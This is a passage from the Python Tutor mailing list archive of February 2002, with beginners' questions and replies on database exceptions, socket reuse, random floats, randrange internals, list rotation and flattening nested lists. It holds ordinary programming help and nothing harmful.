> except(fooerror2): > foo2 > except(fooerror3): > try: > foo4 > except(fooerror4): > foowhatever Yes, exactly! There are several defined Exceptions that can occur when we do database stuff. Here are the database-specific exception classes: InterfaceError DatabaseError DataError OperationalError IntegrityError InternalError ProgrammingError NotSupportedError We can control the granularity of what we're looking for by taking advantage of the class structure. There's a functional tree of the classes in the Database API: http://www.python.org/topics/database/DatabaseAPI-2.0.html near the beginning of the page. When we want to check for subtle stuff, we can place those cases first when we do the exception handling: ### ## pseudocode try: ... except IntegrityError, e: ... ### But we just want to catch all the errors related to Databases, we can do something like: ### ## pseudocode try: ... except DatabaseError, e: ... ### and that should catch everything that deals with Database stuff. From urnerk@qwest.net Tue Feb 12 19:40:52 2002 From: urnerk@qwest.net (Kirby Urner) Date: Tue, 12 Feb 2002 11:40:52 -0800 Subject: [Tutor] New Python book In-Reply-To: Message-ID: <4.2.0.58.20020212113053.00c9d120@pop3.norton.antivirus> Greetings all: 'Python: How to Program' (2002, Prentice-Hall) is now available. It includes stuff on XHTML/CSS, XML, PyOpenGL, XML, interfacing with a database, CGI and more (even some stuff on 2.2 iterators and generators). It's designed as possible course text, with questions and exercises at the end of each chapter. Comes with CD, including the source code, Alice (multimedia package with Python API) and Apache web server. Kirby PS: I was a reviewer, doing testing and providing feedback on some of the chapters (one of many, see pg. LV). Just got my copy from the publisher yesterday. Dunno the sale price -- it's a 1300 page monster (plus CD) so probably in the $45-$60 range, judging from similar books. Wait, I should just check Amazon... yikes, $74. Well, like I say, it's a mighty thick tome. From vdbroekw@wxs.nl Tue Feb 12 20:18:54 2002 From: vdbroekw@wxs.nl (Walter van den Broek) Date: Tue, 12 Feb 2002 21:18:54 +0100 Subject: [Tutor] MYSQL References: Message-ID: <3C6978AE.975A166A@wxs.nl> Hi all, I am using MySQL as database, tried MySQLdb module, works fine although a little limited in capabillities. Trying to make a front end, something to enter data with in MySQL, since i get a little acquinted with python (newbie), i am looking for documentation or examples of such a front end which interacts with MySQL. Already have acouple of python books( Gauld, Lundh, Lutz and web programming with python), but could not find an example to hack, i am a lazy programmer who loves to adjust other people's work for his own needs. Project: scientific research, i need to store and analyse patient data, from demographic to disease characteristics. Any suggestions or links appreciated, thanks walter From virketis@fas.harvard.edu Tue Feb 12 20:34:45 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Tue, 12 Feb 2002 15:34:45 -0500 Subject: [Tutor] MYSQL References: <3C6978AE.975A166A@wxs.nl> Message-ID: <00bd01c1b404$b5448500$18adf78c@virketis2> Walter, If I understand correctly, you are looking for a GUI frontend for MySQL, right? Unfortunately, I don't know of one for Python, but here is a great one written in PHP, and used by my ISP: http://phpwizard.net/projects/phpMyAdmin/index.html. Hopefully, someone else will know of a Python equivalent. If there is none, this can serve as an inspiration to write your own ... :) Cheers, Pijus From arcege@speakeasy.net Tue Feb 12 23:03:11 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Tue, 12 Feb 2002 18:03:11 -0500 Subject: [Tutor] really dumb questions In-Reply-To: ; from kp87@lycos.com on Tue, Feb 12, 2002 at 11:47:05PM +0900 References: Message-ID: <20020212180311.E3144@speakeasy.net> On Tue, Feb 12, 2002 at 11:47:05PM +0900, kevin parks wrote: > >Thats why Beasleys book is good - it adds the examples ;-) > > I loved that book. I used to have the 1st edition, but it left it on > the subway. I can't find the new edition here in Seoul, i've checked > everywhere. Some stores have the old one, but i can't buy that again. > If i am going to fork up that kind of money for an imported book I want it > to be up to date. Anyone in Korea and got one they want to sell?? > > >f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"])) > > This didn't work for me at all. (I can't find the forward slash on > this machine so if the newline character comes out funny just substitute. In Korea they put their monetary symbol where we put > the slash key). Then you might want to do an old trick. eoln = chr(10) # a newline character f.writelines(map(lambda s, e=eoln: s+e, ["Scooby", "Dooby", "Doo"])) You might also want to get an editor that will remap keys for you, so that when you type the monetary symbol, it prints a backslash. -Arcege P.S. For your information: "/" - forward slash or "slash" "\" - backward slash or "backslash" From csmith@blakeschool.org Tue Feb 12 23:24:33 2002 From: csmith@blakeschool.org (Christopher Smith) Date: Tue, 12 Feb 2002 17:24:33 -0600 Subject: [Tutor] why the recompile? Message-ID: Hello, I am trying to get an installation distributed on a set of iBooks for a course. I ran compileall on my own installation, copied that to the master server disk and from there it gets copied onto the individual iBooks. The hope was to avoid having to recompile every time a new session is started. (Even though the recompile is done, the installation is restored to the original set during shutdown of the computer.) Here's the problem: when the IDE starts up it recompiles a bunch of files. For example, codeop.py (created July 18,2001 and modified Aug 19,2001) is recompiled even though the existing codeop.pyc in that directory has the creation and modification dates of Feb 7, 2002. There are 68 files in all that are recompiled, located in lib; mac/Lib; Mac/Tools/IDE; and mac/lib/carbon. Why is this recompiling and what can I do to avoid this? The .pyc's date is more recent than the .py's. I confirmed this with the stat() function as well and can see that the time of modification matches that which I see on the file in the Finder. The IDE itself (if it matters) was created at 6:43 pm on 2/7 and the codeop.py file at 11:32 am) /c From dyoo@hkn.eecs.berkeley.edu Wed Feb 13 00:25:40 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Tue, 12 Feb 2002 16:25:40 -0800 (PST) Subject: [Tutor] Catching different exceptions [Exceptions] In-Reply-To: Message-ID: On Tue, 12 Feb 2002, Danny Yoo wrote: > Not that this isn't bad --- it's just that we often want to be able to ^^^^^^^^^^^^^^^^^^^^^^^ > look at the errors in more detail. Gaaah! Holy moley, that was bad phrasing! I meant to say: "Not that this is bad..." I think that having catchall exception handling is ok, as long as we somehow send the user a good error message that can help us debug things. That is, as long as we have something like: ### try: ... except Exception, e: print "Something is wrong: take a look: %s" % e ### is much better than: ### try: ... except Exception, e: pass ### because the second doesn't even clue us into potential problems. We had a discussion on catchall exceptions a few weeks ago, and I had initially said that doing a catchall was evidence of lazy programming. Alan Gauld explained that using such a catchall can be a good thing, and gave good reasons for using it. After thinking about it for a while, I'm leaning toward Alan's reasoning. From wesc@deirdre.org Wed Feb 13 06:17:21 2002 From: wesc@deirdre.org (Wesley Chun) Date: Tue, 12 Feb 2002 22:17:21 -0800 (PST) Subject: [Tutor] ANN: SV-SF Bay Area Python users group (BayPIGgies) mtg 2/13 7:30pm Message-ID: hi folks, a friendly reminder for those in the Silicon Valley or SF Bay Area that our monthly Python users group meeting meets on the 2nd wednesday of every month, and that means tonite!! more info in the listing below. hope to see some of you tonite! -wesley Date: February 13, 2002 Time: 7:30pm - 9pm Location: Stanford University Agenda: Python 10 Conference Summary Speaker: Todd Valentic, SRI International Many of us were not be able to make it to the Python10 Conference (Feb 4-7 2002). Todd, who presented a paper at the conference, will give us the lowdown on what happened. More information including directions at http://deirdre.org/baypiggies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, =A9 2001 http://starship.python.net/crew/wesc/cpp/ wesley.j.chun :: wesc@deirdre.org cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com http://www.roadkill.com/~wesc/cyberweb/ From schoeller@zkm.de Wed Feb 13 15:11:36 2002 From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=) Date: Wed, 13 Feb 2002 16:11:36 +0100 Subject: [Tutor] SocketObject.close() question Message-ID: Hello tutors, i=B4m using the xmlrpclib library 0.9. and the xmlrpcsvr.py script wich=20= creates a SocketServer at a specified port. The socket-object has a=20 close()-method which works as expected - after calling the method the=20 socket gets closed and further connections are refused. But when i try=20= to restart the xmlrpc-Server on the same port i get the message =20 socket.error: (48, 'Address already in use'). After 1-2 minutes it=B4s=20= possible to reuse the server on that port again ? Is this behavior=20 considered normal or am I wrong in closing the socket by using=20 socket.close() ? I=B4m on a Mac OsX 10.1.2 - is this a system library dependent behaviour = ? thanks for your support,, andreas From kjphotog@juno.com Wed Feb 13 17:36:38 2002 From: kjphotog@juno.com (kjphotog@juno.com) Date: Wed, 13 Feb 2002 09:36:38 -0800 Subject: [Tutor] Re: New Python book, Vol 1 #1422 Message-ID: <20020213.093643.-187805.13.kjphotog@juno.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ----__JNP_000_1928.79a6.3ad3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Re: New Python book (by Kirby Urner) I just got the new Python How To Program book by Deitel (Prentice-Hall). As a newbie I found myself gleaning info from 3-4 Python books, but this book seems to have everything under one cover. The books starts off from ground zero -which is great for me- and the info is easy to read & understand.In addition, the coding is in color and easy on the eyes & very legible. (Some Python books the coding is written in a little bitty font that is difficult to read). Keith ----__JNP_000_1928.79a6.3ad3 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable
Re: New Python book (by Kirby Urner)
 
I just got the new Python How To Program book by Deitel (Prentice-Hall= ). As=20 a newbie I found myself gleaning info from 3-4 Python books, but this = book=20 seems to have everything under one cover.
 
The books starts off from ground zero -which is great for me- and = ;the=20 info is easy to read & understand.In addition, the coding is in = color=20 and easy on the eyes & very legible. (Some Python books the coding is written in a little bitty font = that is=20 difficult to read).
 
Keith
----__JNP_000_1928.79a6.3ad3-- ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/web/. From lumbricus@gmx.net Wed Feb 13 14:53:28 2002 From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=) Date: Wed, 13 Feb 2002 15:53:28 +0100 (MET) Subject: [Tutor] New Python book References: <4.2.0.58.20020212113053.00c9d120@pop3.norton.antivirus> Message-ID: <14021.1013612008@www51.gmx.net> > > Greetings all: dito > 'Python: How to Program' (2002, Prentice-Hall) [ snip ] > Kirby > > PS: I was a reviewer, doing testing and providing > feedback on some of the chapters (one of many, see me too but they misspelled my name :-/ > pg. LV). Just got my copy from the publisher > yesterday. Dunno the sale price -- it's a 1300 page > monster (plus CD) so probably in the $45-$60 range, > judging from similar books. Wait, I should just > check Amazon... yikes, $74. Well, like I say, it's > a mighty thick tome. ACK "http://www.prenhall.com/deitel" Greetings J"o! -- Excellent Security until you type 'override' - "Welcome to the NSA! Who's Life would you like to mess with today?" (http://ars.userfriendly.org/cartoons/?id=20010113) -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From kp87@lycos.com Wed Feb 13 15:52:26 2002 From: kp87@lycos.com (kevin parks) Date: Thu, 14 Feb 2002 00:52:26 +0900 Subject: [Tutor] random floats in a range greater than 0.0-1.0 Message-ID: Thanks to all on this list for addressing my queries. I am learning quite a lot these days. I am really giving the interperter a workout during this holiday break (though slowed a bit by a late winter cold today). I see in the random module that you can get random integers with randrange and you can get 0-1.0 floats, but how does one get floats in a range (of say 0-100, 50-128, or whatever...), do you just use the regular random (0-1) floats and scale the output? Or is it better to look for a way in Numpy? sorry if this is not so clear... running for a kleenex.... -kevin seoul, korea Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From lumbricus@gmx.net Wed Feb 13 16:52:02 2002 From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=) Date: Wed, 13 Feb 2002 17:52:02 +0100 (MET) Subject: [Tutor] SocketObject.close() question References: Message-ID: <21746.1013619122@www7.gmx.net> > Hello tutors, > > to restart the xmlrpc-Server on the same port i get the message > socket.error: (48, 'Address already in use'). After 1-2 minutes it´s > > possible to reuse the server on that port again ? Is this behavior > considered normal yes. > or am I wrong in closing the socket by using > socket.close() ? > I´m on a Mac OsX 10.1.2 - is this a system library dependent behaviour > ? man setsockopts /SO_REUSEADDR IIRC > thanks for your support,, andreas > HTH,HAND and Greetings J"o! -- $ make LOVE Make: Don't know how to make LOVE. Stop. $ -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net From fgerbig@usd253.org Wed Feb 13 18:44:34 2002 From: fgerbig@usd253.org (Fred Gerbig) Date: Wed, 13 Feb 2002 12:44:34 -0600 Subject: [Tutor] Simple address book program in python Message-ID: <00fe01c1b4be$7cacf460$f40fa8c0@usd253.org> Hello all, This is my first message. I am just starting out with python, I have done some VB and C in the past. When I started playing with BASIC years ago I wrote a little address book program to learn how to program. I would like to do the same type of thing in Python. Just something simple that would prompt the user for the different fields.. first name, last name, address etc, then store the info in a text file. Then have some sort of search that would prompt the user for the last name for example and then go out search the text file, find the record and display it (using a simple sequential file). I am sure someone has to have done something similar in the past. If I can get a look at some code that does something like I want to do it will be a big step ahead in the learning process. Thanks!! --- Fred Gerbig Here is my first project that I have done in Python: --------------------------------------------------- #A program to simplify a fraction and convert it to decimal and a percent num = input("Enter the numerator: ") den = input("Enter the denominator: ") test = 0 #A simple test condition to break out of the loop. if num > den: #Check to see if an improper fraction was entered. whole = num/den #Do the math rem = num%den if rem != 0: #If there is no remainder goto else. for i in range(1000,0,-1): if num%i == 0 and den%i == 0 and test != 1: #Find the Greatest Common Factor. a = rem/i b = den/i test = 1 #Break out of the loop. print "You entered an improper fraction, simplified it is: %d %d/%d" % (whole,a,b) c = float(a)/float(b) print "The fraction you entered converted to decimal is: %.4f." % (whole+c) print "The fraction you entered converted to percent is: %d%%." % ((whole+c)*100), else: #Go here if the improper fraction simplifies to a whole number. print "You entered a improper fraction, simplified it is: %d" % (whole) else: #If a proper fraction is entered start here. for i in range(1000,0,-1): if num%i == 0 and den%i ==0 and test != 1: a = num/i b = den/i test = 1 print "The fraction you entered is %d/%d in lowest terms." % (a,b) c = float(a)/float(b) print "The fraction you entered converted to decimal is %.4f." % (c) print "The fraction you entered converted to percent is: %d%%." % (c*100), From arcege@speakeasy.net Wed Feb 13 19:16:03 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Wed, 13 Feb 2002 14:16:03 -0500 Subject: [Tutor] SocketObject.close() question In-Reply-To: ; from schoeller@zkm.de on Wed, Feb 13, 2002 at 04:11:36PM +0100 References: Message-ID: <20020213141603.C910@speakeasy.net> On Wed, Feb 13, 2002 at 04:11:36PM +0100, Andreas Sch=F6ller wrote: > Hello tutors, >=20 > i=B4m using the xmlrpclib library 0.9. and the xmlrpcsvr.py script wich= =20 > creates a SocketServer at a specified port. The socket-object has a=20 > close()-method which works as expected - after calling the method the=20 > socket gets closed and further connections are refused. But when i try=20 > to restart the xmlrpc-Server on the same port i get the message =20 > socket.error: (48, 'Address already in use'). After 1-2 minutes it=B4s=20 > possible to reuse the server on that port again ? Is this behavior=20 > considered normal or am I wrong in closing the socket by using=20 > socket.close() ? > I=B4m on a Mac OsX 10.1.2 - is this a system library dependent behaviou= r ? >=20 > thanks for your support,, andreas Specifically, that's a socket-dependant, system-independant behavior; and yes, it is normal. You can change a socket to reuse the same address, since the socketserver class is being used, you can maybe get the xlmrpcsvr to take a subclass of that. class ReuseSocketServer(SocketServer): def server_bind(self): import socket self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) SocketServer.server_bind(self) Also, you might want to think about using the shutdown() method instead of just close(). This will allow the network protocols to come down gracefully, and will reduce the number of "already in use" errors (not not all of them). There is nothing strictly wrong with using close, but you will want to make sure that the socket isn't connected by some means. Think about a telephone: it is possible, though unprobable, that someone could call at the same time you pick up the handset to make a call. This causes the phone to not ring, and the connection to go through; you start dialing the number and the other end is going "hello". This happens in real, but it's rare. Now think about if it was at the other end of the call - someone was calling when you were hanging up, the connection might be established, your phone would think the call was done, but possibly the hardware in between left the connection open. The phone systems do not allow this "feature", but the TCP networks do. It's better to just use "shutdown" to let the whole system know you are shutting down. -Arcege From arcege@speakeasy.net Wed Feb 13 19:18:14 2002 From: arcege@speakeasy.net (Michael P. Reilly) Date: Wed, 13 Feb 2002 14:18:14 -0500 Subject: [Tutor] why the recompile? In-Reply-To: ; from csmith@blakeschool.org on Tue, Feb 12, 2002 at 05:24:33PM -0600 References: Message-ID: <20020213141814.D910@speakeasy.net> On Tue, Feb 12, 2002 at 05:24:33PM -0600, Christopher Smith wrote: > I am trying to get an installation distributed on a set of iBooks for a > course. I ran compileall on my own installation, copied that to the > master server disk and from there it gets copied onto the individual > iBooks. The hope was to avoid having to recompile every time a new > session is started. (Even though the recompile is done, the installation > is restored to the original set during shutdown of the computer.) > > Here's the problem: when the IDE starts up it recompiles a bunch of > files. For example, codeop.py (created July 18,2001 and modified Aug > 19,2001) is recompiled even though the existing codeop.pyc in that > directory has the creation and modification dates of Feb 7, 2002. There > are 68 files in all that are recompiled, located in lib; mac/Lib; > Mac/Tools/IDE; and mac/lib/carbon. > > Why is this recompiling and what can I do to avoid this? The .pyc's date > is more recent than the .py's. I confirmed this with the stat() function > as well and can see that the time of modification matches that which I see > on the file in the Finder. The IDE itself (if it matters) was created at > 6:43 pm on 2/7 and the codeop.py file at 11:32 am) I don't really have an answer to offer. But possibly a work around. Unless you are trying to get the students to see the Python code, you could remove all the .py files (except the calling program file) and just keep the .pyc files. The python interpreter would not care if it was using pre-compiled or raw source, but it would prevent it from always trying to recompile the .pyc files. -Arcege From dyoo@hkn.eecs.berkeley.edu Wed Feb 13 22:06:11 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 13 Feb 2002 14:06:11 -0800 (PST) Subject: [Tutor] random floats in a range greater than 0.0-1.0 In-Reply-To: Message-ID: On Thu, 14 Feb 2002, kevin parks wrote: > I see in the random module that you can get random integers with > randrange and you can get 0-1.0 floats, but how does one get floats in > a range (of say 0-100, 50-128, or whatever...), do you just use the > regular random (0-1) floats and scale the output? I think scaling would be the way to go on this one. I can't think offhand of a function in the random module that will do this, but cooking up such a function should be too bad. This sounded like a fun problem, so I've cooked up such a function. *** Spoiler space ahead *** *** Spoiler space engaged *** Here's a function called randfrange() that returns a random floating-point number: ### >>> import random >>> def randfrange(a, b=None): ... """Returns a random float in the range [a, b).""" ... if b == None: ... a, b = 0, a ... return random.random() * (b-a) + a ... >>> randfrange(50, 128) 97.318483168501587 >>> randfrange(50, 128) 81.658069841691457 >>> randfrange(2, 2) 2.0 >>> randfrange(2, 3) 2.1495229573274912 >>> randfrange(42, 43) 42.372700368345136 >>> randfrange(50) 2.7482513388830343 >>> randfrange(100) 24.518574974538375 ### Hope this helps! From jimmy_130@lycos.com Wed Feb 13 22:05:42 2002 From: jimmy_130@lycos.com (James M Lang) Date: Wed, 13 Feb 2002 17:05:42 -0500 Subject: [Tutor] QUestion about Pygame Message-ID: I went to the pygame website and went to the projects page. I got the pyrunner game and downloaded the source. So why doesn't it end in .py? And how do I use it? Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From dyoo@hkn.eecs.berkeley.edu Wed Feb 13 22:53:33 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Wed, 13 Feb 2002 14:53:33 -0800 (PST) Subject: [Tutor] Random revisions In-Reply-To: Message-ID: On Wed, 13 Feb 2002, Danny Yoo wrote: > On Thu, 14 Feb 2002, kevin parks wrote: > > > I see in the random module that you can get random integers with > > randrange and you can get 0-1.0 floats, but how does one get floats in > > a range (of say 0-100, 50-128, or whatever...), do you just use the > > regular random (0-1) floats and scale the output? > > I think scaling would be the way to go on this one. I can't think offhand > of a function in the random module that will do this, but cooking up such > a function should be too bad. > > This sounded like a fun problem, so I've cooked up such a function. By the way, I started playing around with randrange(), and found something really wacky. Take a look: ### >>> random.randrange(0, 10, 2) 2 >>> random.randrange(0, 10, 2) 8 >>> random.randrange(0, 10, 2, 42) Traceback (most recent call last): File "", line 1, in ? File "/opt/Python-2.1.1/lib/python2.1/random.py", line 288, in randrange istart = int(start) TypeError: object of type 'int' is not callable ### What in the world?! If you're confused, you're not alone. According to the documentation, randrange() is defined to only take, at most, three parameters. But it appears that it can accept four... but then it barfs. Huh? There's something weird about the definition of randrange() in the random module. Take a look: ### def randrange(self, start, stop=None, step=1, int=int, default=None): """Choose a random item from range(start, stop[, step]). This fixes the problem with randint() which includes the endpoint; in Python this is usually not what you want. Do not supply the 'int' and 'default' arguments. """ # This code is a bit messy to make it fast for the # common case while still doing adequate error checking istart = int(start) if istart != start: raise ValueError, "non-integer arg 1 for randrange()" if stop is default: if istart > 0: return int(self.random() * istart) raise ValueError, "empty range for randrange()" istop = int(stop) if istop != stop: raise ValueError, "non-integer stop for randrange()" if step == 1: if istart < istop: return istart + int(self.random() * (istop - istart)) raise ValueError, "empty range for randrange()" istep = int(step) if istep != step: raise ValueError, "non-integer step for randrange()" if istep > 0: n = (istop - istart + istep - 1) / istep elif istep < 0: n = (istop - istart + istep + 1) / istep else: raise ValueError, "zero step for randrange()" if n <= 0: raise ValueError, "empty range for randrange()" return istart + istep*int(self.random() * n) ### I've been staring at this, looking at the comments, and looking at those two parameters 'int' and 'default', and I still can't figure out why those two parameters are in there... hmmm... Ah, it is probably an optimization. What the author might have intended is to optimize the time it takes to grab at the int() function. Local variables are faster to look up than globals, and since randrange() is often used in loops, this may be intended to squeeze out some more performance. random.shuffle() also appears to use this kind of optimization. Someone must have done some time profiling and found this optimization significant enough to do something tricky like this. But this feels very ugly to me... Is it really necessary to do something like this? Just as we revise essays and letters, I think that it's good to see how one might revise functions. (I'd better warn that "revision" doesn't necessarily mean "improvement". *grin*) Here's an attempt to revise randrange() and remove this trickyness: ### def randrange(self, start, stop=None, step=1): """Choose a random item from range(start, stop[, step]). This fixes the problem with randint() which includes the endpoint; in Python this is usually not what you want. """ # This code is a bit messy to make it fast for the # common case while still doing adequate error checking if start != int(start): raise ValueError, "non-integer arg 1 for randrange()" if stop is None: if start > 0: return int(self.random() * start) raise ValueError, "empty range for randrange()" if stop != int(stop): raise ValueError, "non-integer stop for randrange()" if step == 1: if start < stop: return start + int(self.random() * (stop - start)) raise ValueError, "empty range for randrange()" if step != int(step): raise ValueError, "non-integer step for randrange()" if step > 0: n = (stop - start + step - 1) / step elif step < 0: n = (stop - start + step + 1) / step else: raise ValueError, "zero step for randrange()" if n <= 0: raise ValueError, "empty range for randrange()" return start + step*int(self.random() * n) ### Does anyone have time to profile this and see how it compares to random.randrange()? It's been like this ever since version 1.16 of randrange.py: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/random.py From wilson@isis.visi.com Wed Feb 13 23:59:50 2002 From: wilson@isis.visi.com (Tim Wilson) Date: Wed, 13 Feb 2002 17:59:50 -0600 (CST) Subject: [Tutor] Sample docstrings Message-ID: Hey everyone, Can anyone nominate some source code that I can review that does an exemplory job of using docstrings? I'm interesting is seeing examples of all the the different types mentioned in PEP 257 (http://python.sourceforge.net/peps/pep-0257.html). -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.org | http://www.zope.com W. St. Paul, MN | | http://slashdot.org wilson@visi.com | | http://linux.com From paulsid@shaw.ca Thu Feb 14 00:05:27 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Wed, 13 Feb 2002 17:05:27 -0700 Subject: [Tutor] random floats in a range greater than 0.0-1.0 References: Message-ID: <3C6AFF47.CCB23616@shaw.ca> Danny Yoo wrote: > I think scaling would be the way to go on this one. I can't think offhand > of a function in the random module that will do this, but cooking up such > a function should be too bad. > > This sounded like a fun problem, so I've cooked up such a function. random.uniform(50.0, 128.0) also works, but of course it's not nearly as much fun. :-) -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From paulsid@shaw.ca Thu Feb 14 00:29:14 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Wed, 13 Feb 2002 17:29:14 -0700 Subject: [Tutor] QUestion about Pygame References: Message-ID: <3C6B04DA.E0BE0D60@shaw.ca> James M Lang wrote: > I went to the pygame website and went to the projects page. I got > the pyrunner game and downloaded the source. So why doesn't it end > in .py? And how do I use it? As it happens, I'm the author of PyRunner. PyRunner is distributed as a compressed file (either in zip or tar.gz format). You need to unpack the file you downloaded. Assuming you're using Windows, WinZip is usually the program of choice for this. Get it here: http://www.winzip.com/ Regrettably, there is no self-extracting executable installer for PyRunner at this time. I hope this is what you meant, as I can't think of anything else. If not please elaborate on the problem and I'll try to help. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From erikprice@mac.com Thu Feb 14 04:40:14 2002 From: erikprice@mac.com (Erik Price) Date: Wed, 13 Feb 2002 23:40:14 -0500 Subject: [Tutor] Simple address book program in python In-Reply-To: <00fe01c1b4be$7cacf460$f40fa8c0@usd253.org> Message-ID: On Wednesday, February 13, 2002, at 01:44 PM, Fred Gerbig wrote: > Just something simple that would prompt the user for the different > fields.. > first name, last name, address etc, then store the info in a text file. > Then > have some sort of search that would prompt the user for the last name > for > example and then go out search the text file, find the record and > display it > (using a simple sequential file). > > I am sure someone has to have done something similar in the past. If I > can > get a look at some code that does something like I want to do it will > be a > big step ahead in the learning process. I haven't had time lately to check this site out thoroughly, but take a look at http://www.lowerstandard.com/python/ Some great inspiration there. Maybe you can find something related to the text file manip you're trying to do. Erik From kp87@lycos.com Thu Feb 14 07:21:05 2002 From: kp87@lycos.com (kevin parks) Date: Thu, 14 Feb 2002 16:21:05 +0900 Subject: [Tutor] Re: random floats in a range greater than 0.0-1.0 Message-ID: >>> random.uniform(x, y) Works great as doesn Danny's scaling mechanism. Scaling was how i did it in 'that other programming language' so i was really shocked to see that the random module has so much in it. Python really does come with the batteries included. thanks -kevin Love is in the Air! Check out Cupid School where you will learn from Matchmaker's best and brightest. At Cupid School you'll learn how to pair up hopeful romantics with one another, based on their personal preferences. If you do well- you'll be rewarded with your own set of love bow and arrows! Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From kp87@lycos.com Thu Feb 14 07:30:39 2002 From: kp87@lycos.com (kevin parks) Date: Thu, 14 Feb 2002 16:30:39 +0900 Subject: [Tutor] cyclically rotate a list. Message-ID: How does one cyclically rotate a list (of arbitary size) so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say: rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6] rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0] yeilding list like so (with y going modulo the list size i suppose): [0, 1, 2, 3, 4, 5, 6] [1, 2, 3, 4, 5, 6, 0] [2, 3, 4, 5, 6, 0, 1] [3, 4, 5, 6, 0, 1, 2] . . . [6, 0, 1, 2, 3, 4, 5] [0, 1, 2, 3, 4, 5, 6] I am hurting my brain on this one. Love is in the Air! Check out Cupid School where you will learn from Matchmaker's best and brightest. At Cupid School you'll learn how to pair up hopeful romantics with one another, based on their personal preferences. If you do well- you'll be rewarded with your own set of love bow and arrows! Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From kp87@lycos.com Thu Feb 14 07:37:44 2002 From: kp87@lycos.com (kevin parks) Date: Thu, 14 Feb 2002 16:37:44 +0900 Subject: [Tutor] check for nested sequences & flatten Message-ID: I am trying to test for nested lists and then flatten them if need be. flatten(seq) works fine (though I wonder if this is the most efficient way to go about it --I always wondered why flatten wasn't a sequence built-in method). But here my isNested func seems broken. >>> isNested([1, [2], [3, [4]]]) 0 # 0 is clearly wrong. # kosher def flatten(seq): """flatten: completely eliminate nesting of any sequence type""" res = [] for item in seq: if type(item) in (TupleType, ListType): res.extend(flatten(item)) else: res.append(item) return res # what's up with this ? # def isNested(seq): """isNested: checks a list for nesting and if nested, exactly how deeply >>> isNested([1,2,3]) yeilds: 1 >>> isNested([1, [2], [3, [4]]]) yeilds: 3""" seq[:] depths = [0] for obj in seq: try: depths.append(isNested(obj)) except: pass return max(tuple(depths)) # as i sure to be over my quota of questions for the day, i'll go away now. Love is in the Air! Check out Cupid School where you will learn from Matchmaker's best and brightest. At Cupid School you'll learn how to pair up hopeful romantics with one another, based on their personal preferences. If you do well- you'll be rewarded with your own set of love bow and arrows! Good Luck! http://ecard.matchmaker.com/cupid0202/cupid0202.html From paulsid@shaw.ca Thu Feb 14 07:37:46 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Thu, 14 Feb 2002 00:37:46 -0700 Subject: [Tutor] cyclically rotate a list. References: Message-ID: <3C6B694A.26679C3A@shaw.ca> kevin parks wrote: > How does one cyclically rotate a list (of arbitary size) > so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say: > rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6] > rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0] This came up on the big group not too long ago. Check the thread below. (Hope the URL doesn't get split - it should be all together on one line.) http://groups.google.ca/groups?hl=en&frame=right&th=984bc5ace40c2f12&seekm=a2mf02%2486k%241%40serv1.iunet.it#link1 -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From scarblac@pino.selwerd.nl Thu Feb 14 07:46:18 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Thu, 14 Feb 2002 08:46:18 +0100 Subject: [Tutor] cyclically rotate a list. In-Reply-To: ; from kp87@lycos.com on Thu, Feb 14, 2002 at 04:30:39PM +0900 References: Message-ID: <20020214084617.A9045@pino.selwerd.nl> On 0, kevin parks wrote: > How does one cyclically rotate a list (of arbitary size) > so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say: > rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6] > rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0] > > yeilding list like so (with y going modulo the list size > i suppose): > > [0, 1, 2, 3, 4, 5, 6] > [1, 2, 3, 4, 5, 6, 0] > [2, 3, 4, 5, 6, 0, 1] > [3, 4, 5, 6, 0, 1, 2] > . > . > . > [6, 0, 1, 2, 3, 4, 5] > [0, 1, 2, 3, 4, 5, 6] > > > I am hurting my brain on this one. def rotate(x, y=1): if len(x) == 0: return x y = y % len(x) # Normalize y, using modulo - even works for negative y return x[y:] + x[:y] Ever wondered why Python list indexing starts at 0, and why slices like 